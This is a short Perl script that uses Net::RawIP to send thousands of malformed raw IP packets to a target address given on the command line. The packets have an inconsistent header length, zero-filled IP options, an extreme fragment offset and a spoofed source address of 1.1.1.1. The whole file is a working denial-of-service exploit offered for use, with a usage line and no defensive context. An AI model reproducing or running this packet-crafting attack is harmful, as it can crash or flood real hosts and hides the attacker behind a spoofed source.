#!/usr/bin/perl
# This script will not works on *BSD because it does generate an incomplete ip
# packet.
# You have to use Linux which don't think that it is more clever than a
# programmer
require 'getopts.pl';
use Net::RawIP;
Getopts('t:n:');
die "Usage $0 -t <ip of the target> -n <thousands of the times>" unless ($opt_t && $opt_n);
@data = split (//,"0"x20);
$p = new Net::RawIP({
ip => {
ihl => 11,
tot_len => 44,
tos => 0,
ttl => 255,
id => 1999,
frag_off => 16383,
protocol => 17,
saddr => '1.1.1.1',
daddr => $opt_t
},
generic => {}
});
$p->optset(ip => { type => [@data] , data => [@data] });
$p->send(0,$opt_n*1000);